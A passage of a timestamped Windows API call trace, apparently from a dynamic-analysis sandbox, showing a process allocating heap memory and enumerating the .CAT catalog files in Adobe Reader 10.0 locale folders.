ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.CAT", cAlternateFileName="")) returned 1 [0081.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12024d8 [0081.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1268d08 [0081.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.621] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.CAT", cAlternateFileName="")) returned 1 [0081.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12024f8 [0081.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1268e10 [0081.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.623] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x85c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.CAT", cAlternateFileName="")) returned 1 [0081.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.623] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202518 [0081.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1268f18 [0081.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.624] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x158e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.CAT", cAlternateFileName="")) returned 1 [0081.624] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.625] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202538 [0081.625] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269020 [0081.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.626] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.CAT", cAlternateFileName="")) returned 1 [0081.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.626] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.626] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202558 [0081.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269128 [0081.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.627] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.CAT", cAlternateFileName="")) returned 1 [0081.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.627] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.627] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202578 [0081.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269230 [0081.628] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x68c0) returned 0x12527c8 [0081.628] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0081.629] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.629] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.CAT", cAlternateFileName="")) returned 1 [0081.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.629] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.629] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.629] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202598 [0081.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269338 [0081.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.630] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.CAT", cAlternateFileName="")) returned 1 [0081.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.630] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.630] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12025b8 [0081.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269440 [0081.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.631] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.CAT", cAlternateFileName="")) returned 1 [0081.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12025d8 [0081.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269548 [0081.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.633] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.633] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CAT", cAlternateFileName="")) returned 1 [0081.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12025f8 [0081.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1269650 [0081.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.634] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.CAT", cAlternateFileName="")) returned 1 [0081.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.635] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.635] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.CAT", cAlternateFileName="")) returned 1 [0081.635] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.CAT", cAlternateFileName="")) returned 0 [0081.635] GetLastError () returned 0x12 [0081.635] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.635] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.635] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.635] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CAT", cAlternateFileName="")) returned 1 [0081.635] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.CAT", cAlternateFileName="")) returned 1 [0081.635] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.CAT", cAlternateFileName="")) returned 1 [0081.635] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.CAT", cAlternateFileName="")) returned 1 [0081.635] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.CAT", cAlternateFileName="")) returned 1 [0081.635] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.CAT", cAlternateFileName="")) returned 1 [0081.635] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.CAT", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.CAT", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.CAT", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.CAT", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.CAT", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.CAT", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.CAT", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.CAT", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x85c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.CAT", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x158e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.CAT", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.CAT", cAlternateFileName="")) returned 1 [0081.636] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: 